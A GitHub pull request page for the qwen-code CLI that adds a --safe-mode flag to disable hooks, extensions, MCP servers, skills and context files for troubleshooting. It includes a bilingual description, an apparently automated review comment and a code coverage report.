Skip to content

feat(cli): add --safe-mode flag to disable all customizations for troubleshooting - #4943

Merged
DennisYu07 merged 27 commits into
mainfrom
feat/safe-mode
Jun 29, 2026
Merged

feat(cli): add --safe-mode flag to disable all customizations for troubleshooting#4943
DennisYu07 merged 27 commits into
mainfrom
feat/safe-mode

Conversation

@DennisYu07

@DennisYu07 DennisYu07 commented Jun 10, 2026

Copy link
Copy Markdown
Collaborator

What this PR does

Adds a --safe-mode CLI flag (and QWEN_CODE_SAFE_MODE environment variable) that disables all user customizations — context files (QWEN.md/AGENTS.md), hooks, extensions, skills, MCP servers, subagents, and conditional rules — providing a clean baseline session for troubleshooting startup failures, crashes, or unexpected behavior caused by custom configurations.

Why it's needed

When users encounter issues caused by malformed hooks, broken MCP servers, or problematic project-level context files, they currently have no way to bypass all customizations at once to isolate the root cause. Safe mode provides a single-flag escape hatch that guarantees a working session with only core built-in functionality, similar to safe mode in operating systems and other developer tools.

Reviewer Test Plan

How to verify

  1. Basic activation: Run qwen --safe-mode — you should see a "⚠ SAFE MODE" warning in the startup notifications and in the footer bar. No hooks, extensions, MCP servers, or custom skills should load.
  2. Environment variable: Run QWEN_CODE_SAFE_MODE=true qwen — same behavior as the flag.
  3. Flag override: Run QWEN_CODE_SAFE_MODE=true qwen --no-safe-mode — safe mode should NOT activate (CLI flag takes precedence over env var).
  4. Context files skipped: In a project with QWEN.md or AGENTS.md, run qwen --safe-mode and verify the system prompt does not contain content from those files.
  5. Skills limited to bundled: Run /skills in safe mode — only bundled system skills should appear, no project/user custom skills.
  6. Subagents limited to builtin: In safe mode, only builtin agents should be available via the agent tool.
  7. Normal mode unaffected: Running qwen without the flag should behave exactly as before.

Evidence (Before & After)

After --safe-mode open:

1、Warning Message:
截屏2026-06-10 16 15 38

2、hooks are disabled:
截屏2026-06-10 16 16 19

3、memory is disabled:
截屏2026-06-10 16 19 47

4、only build-in skills:

截屏2026-06-10 16 21 32

Tested on

OS Status
🍏 macOS
🪟 Windows ⚠️
🐧 Linux ⚠️

Environment (optional)

npm run dev with Node.js v22.22.1

Risk & Scope

  • Main risk or tradeoff: Safe mode is additive — it only skips loading, never forces loading. If a subsystem already has its own disable logic (e.g. disableAllHooks), safe mode piggybacks on the same code paths.
  • Not validated / out of scope: /doctor integration for safe mode diagnostics is deferred to a follow-up iteration.
  • Breaking changes / migration notes: None. The --safe-mode flag defaults to undefined (not passed), so existing behavior is completely unaffected.

Linked Issues

#4883

中文说明

本 PR 做了什么

新增 --safe-mode CLI 标志(以及 QWEN_CODE_SAFE_MODE 环境变量),启用后会禁用所有用户自定义项——上下文文件(QWEN.md/AGENTS.md)、hooks、扩展、skills、MCP servers、subagents 和条件规则——提供一个干净的基线会话,用于排查由自定义配置导致的启动失败、崩溃或异常行为。

为什么需要

当用户遇到因格式错误的 hooks、损坏的 MCP servers 或有问题的项目级上下文文件导致的问题时,目前没有办法一次性绕过所有自定义项来隔离根因。Safe mode 提供了一个单标志的逃生入口,保证只使用核心内置功能的可用会话,类似于操作系统和其他开发工具中的安全模式。

审阅者测试计划

如何验证

  1. 基本激活:运行 qwen --safe-mode — 应在启动通知和底栏看到 "⚠ SAFE MODE" 警告。不应加载任何 hooks、扩展、MCP servers 或自定义 skills。
  2. 环境变量:运行 QWEN_CODE_SAFE_MODE=true qwen — 与标志行为相同。
  3. 标志覆盖:运行 QWEN_CODE_SAFE_MODE=true qwen --no-safe-mode — safe mode 不应激活(CLI 标志优先于环境变量)。
  4. 上下文文件被跳过:在有 QWEN.md 或 AGENTS.md 的项目中运行 qwen --safe-mode,验证系统提示中不包含这些文件的内容。
  5. Skills 仅限 bundled:在 safe mode 中运行 /skills — 应只显示内置系统 skills,无项目/用户自定义 skills。
  6. Subagents 仅限 builtin:在 safe mode 中,agent 工具应只能使用内置 agents。
  7. 正常模式不受影响:不加标志运行 qwen 应与之前完全一致。

证据(前后对比)

N/A — 新功能,未更改现有行为。

测试环境

OS 状态
🍏 macOS
🪟 Windows ⚠️
🐧 Linux ⚠️

风险与范围

  • 主要风险或权衡:Safe mode 是附加性的——它只跳过加载,从不强制加载。如果某子系统已有自己的禁用逻辑(如 disableAllHooks),safe mode 搭载在相同的代码路径上。
  • 未验证/超出范围:safe mode 的 /doctor 诊断集成延后到后续迭代。
  • 破坏性变更/迁移说明:无。--safe-mode 标志默认为 undefined(不传递),因此现有行为完全不受影响。

@DennisYu07
DennisYu07 marked this pull request as draft June 10, 2026 07:41
@DennisYu07
DennisYu07 marked this pull request as ready for review June 10, 2026 07:41
@qwen-code-ci-bot

qwen-code-ci-bot commented Jun 10, 2026

Copy link
Copy Markdown
Collaborator

Re-review of head d2615c3 (which includes the fix(safe-mode) follow-up and three merges of main).

Template is complete ✓ — every heading from .github/pull_request_template.md is present and filled in, including the bilingual 中文说明 block, a concrete 7-point Reviewer Test Plan, and a Tested-on matrix.

On direction: unchanged from the prior round — still a clear win. A safe-mode escape hatch is standard in developer tools (VS Code --disable-extensions, Chrome --incognito, OS safe boot) and qwen-code has accumulated enough customization surface (hooks, MCP servers, skills, context files, extensions, subagents, conditional rules, memory) that a single-flag bypass is a genuine troubleshooting tool, not a feature looking for a problem. Linked issue #4883 describes a real class of "my startup is broken" reports that this collapses into one invocation. No CHANGELOG entry upstream for safe-mode in Claude Code or Codex, but the area is squarely in the "reliability of the interactive session" bucket that's core to the product.

On approach: unchanged and still looks right — the PR mirrors the existing bareMode pattern almost line-for-line, which is the lowest-risk way to add this. Each subsystem that already honors bareMode gets a || safeMode guard, plus a handful of safe-mode-only overrides (skills limited to bundled, subagents limited to builtin, memory reload skipped in /directory, extensions skipped entirely, settings reset to defaults in the CLI loader). That's materially different from --bare (bare keeps user-level skills, subagents, and MCP servers loaded; safe mode does not), so keeping them as two separate flags is the correct call — collapsing them would silently regress bare-mode users.

One minor style nit worth noting but not blocking: the CLI loadCliConfig now contains ~25 occurrences of the bareMode || safeMode expression. A tiny const customizationsOff = bareMode || safeMode local would compress that, but it's pure churn on a re-review — leaving it for a future cleanup is fine.

The fix(safe-mode) follow-up commit addresses all three pieces of prior feedback: restores the bare-mode explicit-extension branch that was accidentally collapsed, switches env parsing to the shared isTruthy helper, and adds the missing Protocol mock export that was breaking safe-mode.test.ts. Nothing new to flag at the gate.

Moving on to code + real-scenario review. 🔍

中文说明

对 head d2615c3(含 fix(safe-mode) 补丁 + 三次 main 合并)的复查。

模板完整 ✓ —— .github/pull_request_template.md 的所有标题都在,包括双语的中文说明、7 条具体的 Reviewer Test Plan、以及 Tested-on 矩阵。

方向:与上一轮一致,仍然是明确收益。safe-mode 逃生口是开发工具的标配(VS Code --disable-extensions、Chrome 隐身、OS 安全启动),而 qwen-code 已经累积了足够多的自定义入口(hooks、MCP servers、skills、上下文文件、extensions、subagents、条件规则、memory),单个标志位的绕过是真正的排障工具,不是为功能找问题。关联 issue #4883 描述了一类真实存在的"启动坏了"的报告,这个 PR 能把它压缩成一次调用。上游 Claude Code / Codex 的 CHANGELOG 里没有 safe-mode,但该领域属于"交互会话可靠性"核心范畴。

方案:与上一轮一致,仍然合理 —— 几乎逐行对齐现有 bareMode 模式,是添加此功能的最低风险路径。每个已经识别 bareMode 的子系统都加了 || safeMode 守卫,外加少量 safe-mode 专属覆盖(skills 仅限 bundled、subagents 仅限 builtin/directory 跳过 memory 重载、extensions 整体跳过、CLI loader 里 settings 复位为默认)。这与 --bare 有实质区别(bare 保留用户级 skills / subagents / MCP servers;safe mode 不保留),所以两个标志分开保留是正确决定 —— 合并会悄悄让 bare-mode 用户退化。

非阻塞的风格小问题:CLI loadCliConfig 里现在有约 25 处 bareMode || safeMode 表达式。一个 const customizationsOff = bareMode || safeMode 局部变量能压缩重复,但作为复查纯属折腾 —— 留给后续清理即可。

fix(safe-mode) 补丁提交了之前反馈的全部三项:恢复了被误删的 bare-mode 显式 extension 分支、env 解析切到共享的 isTruthy helper、补上了 safe-mode.test.ts 缺失的 Protocol mock export。没有新的 gate 级问题。

进入代码 + 真实场景审查。🔍

Qwen Code · qwen3.7-max

@github-actions

github-actions Bot commented Jun 10, 2026

Copy link
Copy Markdown
Contributor

Code Coverage Summary

Package Lines Statements Functions Branches
CLI 78.13% 78.13% 83.34% 80.15%
Core 84.39% 84.39% 85.62% 84.68%
CLI Package - Full Text Report
-------------------|---------|----------|---------|---------|-------------------
File               | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s 
-------------------|---------|----------|---------|---------|-------------------
All files          |   78.13 |    80.15 |   83.34 |   78.13 |                   
 src               |    77.6 |     76.8 |   80.76 |    77.6 |                   
  gemini.tsx       |   67.06 |    72.07 |   81.25 |   67.06 | ...-976,1015-1019 
  ...ractiveCli.ts |   78.25 |    75.86 |   73.07 |   78.25 | ...1981-1983,2018 
  ...liCommands.ts |   88.86 |    84.25 |     100 |   88.86 | ...38,407,441,562 
  ...ActiveAuth.ts |     100 |     87.5 |     100 |     100 | 66-80             
 ...cp-integration |   58.29 |    63.14 |   83.97 |   58.29 |                   
  acpAgent.ts      |   58.17 |    63.18 |   84.18 |   58.17 | ...7891,7899-7900 
  authMethods.ts   |      92 |       60 |     100 |      92 | 33-34             
  errorCodes.ts    |       0 |        0 |       0 |       0 | 1-22              
  ...DirContext.ts |     100 |      100 |     100 |     100 |                   
 ...ration/service |   91.17 |       90 |   83.33 |   91.17 |                   
  filesystem.ts    |   91.17 |       90 |   83.33 |   91.17 | 24-25,31-32,98-99 
 ...ration/session |   87.04 |    80.26 |   89.43 |   87.04 |                   
  ...ryReplayer.ts |   76.84 |    85.33 |   85.71 |   76.84 | ...50-365,378-379 
  Session.ts       |   87.76 |    79.48 |   90.56 |   87.76 | ...5129,5155-5159 
  ...entTracker.ts |   91.39 |    89.47 |   88.88 |   91.39 | ...31,195,266-275 
  index.ts         |       0 |        0 |       0 |       0 | 1-40              
  ...ssionUtils.ts |   84.21 |    83.33 |     100 |   84.21 | ...37-153,209-211 
  tasksSnapshot.ts |   94.06 |    86.66 |     100 |   94.06 | 60-66             
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 ...ssion/emitters |   96.25 |    94.18 |   96.96 |   96.25 |                   
  BaseEmitter.ts   |    92.3 |    81.81 |     100 |    92.3 | 23-24             
  ...ageEmitter.ts |   95.23 |    95.23 |     100 |   95.23 | 48-55             
  PlanEmitter.ts   |     100 |      100 |     100 |     100 |                   
  ...allEmitter.ts |   98.44 |    94.56 |     100 |   98.44 | 318-319,420,428   
  index.ts         |       0 |        0 |       0 |       0 | 1-10              
 ...ession/rewrite |    91.3 |    88.09 |   94.44 |    91.3 |                   
  LlmRewriter.ts   |      81 |       84 |     100 |      81 | ...,88-89,155-159 
  ...Middleware.ts |   96.74 |    86.84 |     100 |   96.74 | 135,143-145       
  TurnBuffer.ts    |     100 |      100 |     100 |     100 |                   
  config.ts        |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 src/commands      |   83.73 |    61.85 |   59.25 |   83.73 |                   
  auth.ts          |     100 |    83.33 |     100 |     100 | 11,14             
  channel.ts       |   56.66 |      100 |       0 |   56.66 | 15-19,27-34       
  extensions.tsx   |   96.77 |      100 |      50 |   96.77 | 39                
  hooks.tsx        |   66.66 |      100 |       0 |   66.66 | 20-24             
  mcp.ts           |   95.45 |      100 |      50 |   95.45 | 31                
  review.ts        |   51.85 |      100 |       0 |   51.85 | 24-35,38          
  serve.ts         |   84.19 |    57.31 |     100 |   84.19 | ...31-534,547-551 
  sessions.ts      |     100 |      100 |      50 |     100 |                   
 ...mmands/channel |   54.07 |    82.03 |   59.09 |   54.07 |                   
  ...l-registry.ts |    6.66 |      100 |       0 |    6.66 | 6-32,35-53        
  config-utils.ts  |   93.33 |      100 |      75 |   93.33 | 21-26             
  configure.ts     |    14.7 |      100 |       0 |    14.7 | 18-21,23-84       
  pairing.ts       |   26.31 |      100 |       0 |   26.31 | ...30,40-50,52-65 
  pidfile.ts       |   97.11 |    94.73 |     100 |   97.11 | 27-28,45          
  start.ts         |    57.8 |       65 |   76.47 |    57.8 | ...01,507-510,521 
  status.ts        |   17.85 |      100 |       0 |   17.85 | 15-26,32-76       
  stop.ts          |      20 |      100 |       0 |      20 | 14-48             
 ...nds/extensions |   87.25 |     89.3 |   85.24 |   87.25 |                   
  consent.ts       |   72.53 |       90 |   42.85 |   72.53 | ...86-142,157-163 
  disable.ts       |     100 |      100 |     100 |     100 |                   
  enable.ts        |     100 |      100 |     100 |     100 |                   
  install.ts       |   85.05 |    83.33 |      75 |   85.05 | ...05-208,211-220 
  link.ts          |     100 |      100 |     100 |     100 |                   
  list.ts          |     100 |     87.5 |     100 |     100 | 18                
  new.ts           |     100 |      100 |     100 |     100 |                   
  settings.ts      |   99.15 |      100 |   83.33 |   99.15 | 151               
  sources.ts       |   93.42 |    87.09 |   92.85 |   93.42 | ...4-66,96-98,167 
  uninstall.ts     |    37.5 |      100 |   33.33 |    37.5 | 23-45,57-64,67-70 
  update.ts        |   96.29 |      100 |     100 |   96.29 | 101-105           
  utils.ts         |      75 |    53.84 |     100 |      75 | ...27-131,133-137 
 ...les/mcp-server |       0 |        0 |       0 |       0 |                   
  example.ts       |       0 |        0 |       0 |       0 | 1-60              
 ...amples/starter |       0 |        0 |       0 |       0 |                   
  example.ts       |       0 |        0 |       0 |       0 | 1-64              
 src/commands/mcp  |   90.15 |    84.39 |   83.33 |   90.15 |                   
  add.ts           |    99.3 |    96.07 |     100 |    99.3 | 154-155           
  approve.ts       |   76.19 |     87.5 |   66.66 |   76.19 | ...,89-99,114-124 
  list.ts          |   92.59 |    83.87 |      80 |   92.59 | ...62-164,180-181 
  reconnect.ts     |   78.73 |    66.66 |   85.71 |   78.73 | 42-55,168-190     
  remove.ts        |     100 |       80 |     100 |     100 | 21-25             
 ...ommands/review |   11.57 |      100 |       0 |   11.57 |                   
  cleanup.ts       |   17.94 |      100 |       0 |   17.94 | ...01-106,108-109 
  deterministic.ts |   13.75 |      100 |       0 |   13.75 | ...22-738,740-741 
  fetch-pr.ts      |   11.36 |      100 |       0 |   11.36 | ...80-201,203-204 
  load-rules.ts    |   11.32 |      100 |       0 |   11.32 | ...41-153,155-156 
  pr-context.ts    |    6.22 |      100 |       0 |    6.22 | ...97-312,314-315 
  presubmit.ts     |    9.35 |      100 |       0 |    9.35 | ...62-287,289-290 
 ...nds/review/lib |      30 |      100 |       0 |      30 |                   
  gh.ts            |   22.58 |      100 |       0 |   22.58 | ...49,53-54,62-69 
  git.ts           |   22.72 |      100 |       0 |   22.72 | 15-18,29-39,43-44 
  paths.ts         |   52.94 |      100 |       0 |   52.94 | ...26,37-38,42-43 
 ...mands/sessions |   91.56 |    86.95 |   83.33 |   91.56 |                   
  common.ts        |     100 |      100 |     100 |     100 |                   
  list.ts          |   90.96 |    86.66 |   81.81 |   90.96 | 208-219,221-222   
 src/config        |   93.51 |    87.06 |    94.5 |   93.51 |                   
  auth.ts          |   89.35 |    83.56 |     100 |   89.35 | ...97-298,314-315 
  ...eMcpImport.ts |   87.91 |    81.52 |     100 |   87.91 | ...63-371,453-454 
  config.ts        |   86.92 |    85.53 |   82.75 |   86.92 | ...2190,2192-2200 
  ...heme-names.ts |     100 |      100 |     100 |     100 |                   
  environment.ts   |   87.37 |    85.84 |   92.85 |   87.37 | ...43-544,550-551 
  hot-reload.ts    |     100 |    86.11 |     100 |     100 | 46,156,165,216    
  keyBindings.ts   |    97.1 |       50 |     100 |    97.1 | 212-215           
  ...ngsAdapter.ts |     100 |    94.11 |     100 |     100 | 64                
  mcpApprovals.ts  |   96.55 |    95.55 |     100 |   96.55 | 223-224,229-231   
  mcpJson.ts       |     100 |      100 |     100 |     100 |                   
  mcpServers.ts    |   92.85 |     87.5 |     100 |   92.85 | 46-47             
  ...idersScope.ts |      92 |     90.9 |     100 |      92 | 11-12             
  ...abledTools.ts |     100 |      100 |     100 |     100 |                   
  ...comparison.ts |     100 |      100 |     100 |     100 |                   
  ...n-settings.ts |   99.15 |    93.75 |     100 |   99.15 | 63                
  sandboxConfig.ts |   61.64 |    71.87 |   66.66 |   61.64 | ...54-68,73,77-89 
  settings.ts      |   88.05 |       88 |   89.65 |   88.05 | ...-966,1000-1006 
  ...ingsSchema.ts |     100 |      100 |     100 |     100 |                   
  ...ngsWatcher.ts |   95.54 |    88.34 |     100 |   95.54 | ...28,277-278,293 
  ...d-env-keys.ts |     100 |      100 |     100 |     100 |                   
  ...paths-lite.ts |   89.47 |     87.5 |     100 |   89.47 | 43-44,53-54,56-57 
  ...tedFolders.ts |   93.78 |    94.78 |     100 |   93.78 | ...43-344,380-391 
 ...nfig/migration |   95.23 |    77.77 |   83.33 |   95.23 |                   
  index.ts         |   95.65 |     87.5 |     100 |   95.65 | 117-118           
  scheduler.ts     |   96.55 |    77.77 |     100 |   96.55 | 19-20             
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 ...ation/versions |   94.91 |      100 |     100 |   94.91 |                   
  ...-v2-shared.ts |     100 |      100 |     100 |     100 |                   
  v1-to-v2.ts      |   81.75 |      100 |     100 |   81.75 | ...28-229,231-247 
  v2-to-v3.ts      |     100 |      100 |     100 |     100 |                   
  v3-to-v4.ts      |     100 |      100 |     100 |     100 |                   
  v5-to-v4.ts      |      96 |      100 |     100 |      96 | 94-95,99          
 src/core          |     100 |      100 |     100 |     100 |                   
  auth.ts          |     100 |      100 |     100 |     100 |                   
  initializer.ts   |     100 |      100 |     100 |     100 |                   
  theme.ts         |     100 |      100 |     100 |     100 |                   
 src/dualOutput    |   69.39 |    66.66 |   63.15 |   69.39 |                   
  ...tputBridge.ts |   69.48 |     67.3 |    64.7 |   69.48 | ...82-383,391-394 
  ...utContext.tsx |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-8               
 src/export        |       0 |        0 |       0 |       0 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-7               
 src/generated     |     100 |      100 |     100 |     100 |                   
  git-commit.ts    |     100 |      100 |     100 |     100 |                   
 src/i18n          |   82.15 |    81.48 |   82.75 |   82.15 |                   
  index.ts         |    65.4 |    76.92 |      80 |    65.4 | ...70-271,294-299 
  languages.ts     |   93.07 |     92.3 |   85.71 |   93.07 | ...35,164-169,184 
  ...nslateKeys.ts |     100 |      100 |     100 |     100 |                   
  ...lationDict.ts |   93.33 |    66.66 |     100 |   93.33 | 15                
 src/i18n/locales  |     100 |      100 |     100 |     100 |                   
  ca.js            |     100 |      100 |     100 |     100 |                   
  de.js            |     100 |      100 |     100 |     100 |                   
  en.js            |     100 |      100 |     100 |     100 |                   
  fr.js            |     100 |      100 |     100 |     100 |                   
  ja.js            |     100 |      100 |     100 |     100 |                   
  pt.js            |     100 |      100 |     100 |     100 |                   
  ru.js            |     100 |      100 |     100 |     100 |                   
  zh-TW.js         |     100 |      100 |     100 |     100 |                   
  zh.js            |     100 |      100 |     100 |     100 |                   
 ...nonInteractive |   78.99 |    76.11 |   81.03 |   78.99 |                   
  session.ts       |   83.18 |       75 |   93.47 |   83.18 | ...63-964,973-983 
  types.ts         |    42.5 |      100 |   33.33 |    42.5 | ...00-601,604-605 
 ...active/control |   75.88 |    88.46 |      80 |   75.88 |                   
  ...rolContext.ts |    6.45 |        0 |       0 |    6.45 | 56-95             
  ...Dispatcher.ts |   91.69 |       92 |   88.88 |   91.69 | ...49-367,384,387 
  ...rolService.ts |     7.4 |        0 |       0 |     7.4 | 46-185            
 ...ol/controllers |   27.87 |    44.44 |    37.5 |   27.87 |                   
  ...Controller.ts |   39.49 |      100 |      80 |   39.49 | 88-92,127-210     
  ...Controller.ts |       0 |        0 |       0 |       0 | 1-56              
  ...Controller.ts |   31.32 |     38.7 |      40 |   31.32 | ...68-577,592-597 
  ...Controller.ts |   14.06 |      100 |       0 |   14.06 | ...82-117,130-133 
  ...Controller.ts |   24.52 |       40 |   33.33 |   24.52 | ...64-476,485-514 
 .../control/types |       0 |        0 |       0 |       0 |                   
  serviceAPIs.ts   |       0 |        0 |       0 |       0 | 1                 
 ...Interactive/io |    98.1 |     94.2 |   95.23 |    98.1 |                   
  ...putAdapter.ts |   98.02 |    93.36 |   98.07 |   98.02 | ...1303,1398-1399 
  ...putAdapter.ts |      96 |    91.66 |   85.71 |      96 | 51-52             
  ...nputReader.ts |     100 |    94.73 |     100 |     100 | 67                
  ...putAdapter.ts |   98.38 |      100 |   90.47 |   98.38 | 83-84,124-125     
  index.ts         |     100 |      100 |     100 |     100 |                   
 src/patches       |       0 |        0 |       0 |       0 |                   
  is-in-ci.ts      |       0 |        0 |       0 |       0 | 1-17              
 src/remoteInput   |   83.12 |    73.43 |    87.5 |   83.12 |                   
  ...utContext.tsx |     100 |      100 |     100 |     100 |                   
  ...putWatcher.ts |   83.77 |    74.19 |   92.85 |   83.77 | ...05-306,317-320 
  index.ts         |       0 |        0 |       0 |       0 | 1-8               
 src/serve         |   84.49 |    81.95 |   84.59 |   84.49 |                   
  ...ion-bridge.ts |     100 |      100 |     100 |     100 |                   
  auth.ts          |    93.4 |    92.85 |     100 |    93.4 | ...16-317,320-322 
  ...em-adapter.ts |     100 |      100 |     100 |     100 |                   
  capabilities.ts  |     100 |    96.29 |     100 |     100 | 415               
  daemon-logger.ts |   98.24 |    86.95 |   96.29 |   98.24 | 119-120,196       
  ...s-provider.ts |   67.01 |    51.42 |     100 |   67.01 | ...40-245,278-286 
  daemon-status.ts |   97.78 |    82.71 |     100 |   97.78 | ...28,630-631,682 
  debug-mode.ts    |     100 |      100 |     100 |     100 |                   
  demo.ts          |     100 |      100 |     100 |     100 |                   
  env-snapshot.ts  |   90.47 |    78.57 |     100 |   90.47 | ...20-123,189-196 
  ...-path-argv.ts |     100 |      100 |     100 |     100 |                   
  ...h-settings.ts |   94.88 |    88.93 |     100 |   94.88 | ...08,683,699,709 
  fast-path.ts     |   82.24 |    77.51 |      80 |   82.24 | ...95-496,504-507 
  index.ts         |       0 |        0 |       0 |       0 | 1-143             
  ...back-binds.ts |     100 |      100 |     100 |     100 |                   
  ...sion-audit.ts |     100 |      100 |   93.33 |     100 |                   
  rate-limit.ts    |   92.43 |    88.17 |     100 |   92.43 | ...81-283,295-297 
  ...qwen-serve.ts |   78.52 |    81.12 |   54.87 |   78.52 | ...2404,2418-2421 
  server.ts        |   95.41 |    93.67 |   79.16 |   95.41 | ...88-695,791-798 
  types.ts         |     100 |      100 |     100 |     100 |                   
  ...erver-name.ts |     100 |      100 |     100 |     100 |                   
  ...ion-limits.ts |     100 |      100 |     100 |     100 |                   
  ...l-resolver.ts |   90.32 |    66.66 |     100 |   90.32 | 16,45-46          
  ...ell-static.ts |   91.07 |     86.2 |     100 |   91.07 | ...79-182,216-219 
  ...ace-agents.ts |   62.47 |    70.34 |   90.47 |   62.47 | ...1332,1342-1352 
  ...ace-memory.ts |   87.13 |    78.46 |     100 |   87.13 | ...54-361,421-428 
  ...ers-status.ts |   97.05 |    79.38 |     100 |   97.05 | ...47,150,263-269 
 ...serve/acp-http |   69.73 |    70.84 |   91.12 |   69.73 |                   
  ...r-registry.ts |   93.15 |    83.33 |     100 |   93.15 | 206,220-225       
  client-mcp-ws.ts |   54.85 |    58.62 |   72.72 |   54.85 | ...99-300,304-305 
  ...n-registry.ts |   89.19 |    82.43 |   93.33 |   89.19 | ...08,482,502-516 
  dispatch.ts      |    64.5 |    66.27 |     100 |    64.5 | ...2891,2965-2968 
  index.ts         |    71.8 |    68.62 |   83.33 |    71.8 | ...1190,1219-1221 
  json-rpc.ts      |     100 |    96.96 |     100 |     100 | 92                
  safe-ws-send.ts  |   52.94 |    71.42 |     100 |   52.94 | 33-42,47-55       
  sse-stream.ts    |   93.91 |    87.87 |   84.61 |   93.91 | ...50-152,154-156 
  ...ort-stream.ts |       0 |        0 |       0 |       0 | 1                 
  ws-stream.ts     |   91.86 |       80 |     100 |   91.86 | 45,50,93,97-100   
 src/serve/auth    |   86.86 |    79.18 |   93.87 |   86.86 |                   
  device-flow.ts   |   96.35 |       80 |   97.61 |   96.35 | ...1358,1453,1519 
  ...w-provider.ts |   44.24 |    74.07 |   71.42 |   44.24 | ...23-284,297,301 
 ...rve/cdp-tunnel |   81.64 |    70.28 |   86.84 |   81.64 |                   
  ...r-emulator.ts |   87.14 |    57.14 |   85.71 |   87.14 | ...72-175,194-195 
  ...verse-link.ts |   85.42 |    72.46 |     100 |   85.42 | ...17-321,325-330 
  ...l-registry.ts |     100 |      100 |     100 |     100 |                   
  cdp-ws.ts        |   67.68 |       60 |   42.85 |   67.68 | ...13-218,232,244 
 ...nel/acceptance |       0 |        0 |       0 |       0 |                   
  ...mcp-smoke.mjs |       0 |        0 |       0 |       0 | 1-103             
  ...cceptance.mjs |       0 |        0 |       0 |       0 | 1-329             
  real-tab.mjs     |       0 |        0 |       0 |       0 | 1-77              
 src/serve/fs      |   85.31 |    81.43 |     100 |   85.31 |                   
  audit.ts         |     100 |    96.15 |     100 |     100 | 204               
  errors.ts        |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  paths.ts         |   77.82 |    77.08 |     100 |   77.82 | ...64,493-497,510 
  policy.ts        |   90.32 |    89.18 |     100 |   90.32 | 142-150           
  ...ile-system.ts |    84.3 |    79.27 |     100 |    84.3 | ...2061,2088-2089 
 src/serve/routes  |   81.49 |     77.4 |   89.83 |   81.49 |                   
  a2ui-action.ts   |     100 |     94.2 |     100 |     100 | 120,124,169,273   
  capabilities.ts  |     100 |      100 |     100 |     100 |                   
  daemon-status.ts |   83.33 |    83.33 |     100 |   83.33 | 79-86             
  health-demo.ts   |    92.3 |    83.33 |     100 |    92.3 | 55-59             
  permission.ts    |     100 |     91.3 |     100 |     100 | 39,78             
  session.ts       |   76.28 |    80.64 |      75 |   76.28 | ...1183,1190-1215 
  sse-events.ts    |   85.71 |    86.11 |   77.77 |   85.71 | ...69,375,392-395 
  ...space-auth.ts |    83.7 |       75 |     100 |    83.7 | ...23,328,340-344 
  ...extensions.ts |   84.48 |    72.92 |   86.36 |   84.48 | ...59-961,980-983 
  ...-file-read.ts |   94.41 |    76.92 |     100 |   94.41 | ...28-329,390-392 
  ...file-write.ts |    82.1 |    60.52 |     100 |    82.1 | ...42-244,247-249 
  ...-lifecycle.ts |     100 |    91.66 |     100 |     100 | 65                
  ...cp-control.ts |   71.42 |    83.72 |     100 |   71.42 | ...04-210,215-218 
  ...ermissions.ts |   87.38 |    76.19 |     100 |   87.38 | ...05-106,132-133 
  ...e-settings.ts |   43.26 |       55 |   66.66 |   43.26 | ...71-281,286-291 
  ...tup-github.ts |   77.52 |    70.27 |   84.21 |   77.52 | ...87,309,352-353 
  ...ace-status.ts |    73.1 |    57.69 |     100 |    73.1 | ...45-146,155-156 
  ...pace-tools.ts |   77.77 |       75 |     100 |   77.77 | 47-52,62-67,91-94 
  ...pace-trust.ts |   76.84 |    72.22 |      50 |   76.84 | ...,63-64,117-118 
  ...pace-voice.ts |   87.09 |     82.6 |    90.9 |   87.09 | ...96,322-323,452 
 src/serve/server  |   84.28 |     86.4 |   93.33 |   84.28 |                   
  access-log.ts    |   97.72 |    95.45 |     100 |   97.72 | 51                
  ...er-helpers.ts |   63.82 |    77.96 |   81.81 |   63.82 | ...16,330,332-347 
  ...w-registry.ts |   98.38 |    88.23 |     100 |   98.38 | 81                
  ...r-handlers.ts |   81.81 |       50 |     100 |   81.81 | 16,23,27-28       
  ...r-response.ts |   79.05 |     74.5 |     100 |   79.05 | ...39-463,522-531 
  fs-factory.ts    |     100 |    83.33 |     100 |     100 | 27,35             
  ...t-deadline.ts |     100 |      100 |     100 |     100 |                   
  ...iter-setup.ts |   66.66 |    66.66 |   33.33 |   66.66 | 28-33,36-41       
  ...st-helpers.ts |   93.97 |    93.47 |     100 |   93.97 | ...31-133,387-392 
  self-origin.ts   |     100 |      100 |     100 |     100 |                   
  ...e-features.ts |   91.13 |    94.44 |     100 |   91.13 | 103-109           
  session-list.ts  |     100 |    91.89 |     100 |     100 | 34,128,130        
  telemetry.ts     |   95.62 |    96.87 |     100 |   95.62 | ...27-129,199-201 
 src/serve/voice   |   70.58 |    95.74 |   72.72 |   70.58 |                   
  ...ice-config.ts |   13.33 |      100 |       0 |   13.33 | 35-63,71-87       
  voice-ws.ts      |   78.03 |    95.74 |   84.21 |   78.03 | ...84,399,437-439 
 ...kspace-service |    85.4 |    83.68 |      92 |    85.4 |                   
  index.ts         |   84.86 |    83.33 |    90.9 |   84.86 | ...76-681,741-806 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/services      |   91.89 |    88.42 |   98.24 |   91.89 |                   
  ...mandLoader.ts |     100 |    88.88 |     100 |     100 | 99-112            
  ...killLoader.ts |     100 |    93.33 |     100 |     100 | 48,67             
  ...andService.ts |   98.73 |      100 |     100 |   98.73 | 107               
  ...mandLoader.ts |   86.83 |    83.87 |     100 |   86.83 | ...30-335,340-345 
  ...omptLoader.ts |   75.84 |    80.64 |   83.33 |   75.84 | ...10-211,277-278 
  ...mandLoader.ts |     100 |    97.14 |     100 |     100 | 66                
  ...nd-factory.ts |   91.42 |    91.66 |     100 |   91.42 | 128,137-144       
  ...ation-tool.ts |     100 |    95.45 |     100 |     100 | 125               
  ...ndMetadata.ts |   98.23 |    96.72 |     100 |   98.23 | 83,87             
  commandUtils.ts  |      96 |     90.9 |     100 |      96 | 48                
  ...and-parser.ts |   90.69 |    85.71 |     100 |   90.69 | 63-66             
  ...ionService.ts |     100 |      100 |     100 |     100 |                   
  ...low-loader.ts |     100 |    96.15 |     100 |     100 | 88                
  setup-github.ts  |    90.5 |    81.81 |     100 |    90.5 | ...35-436,443-444 
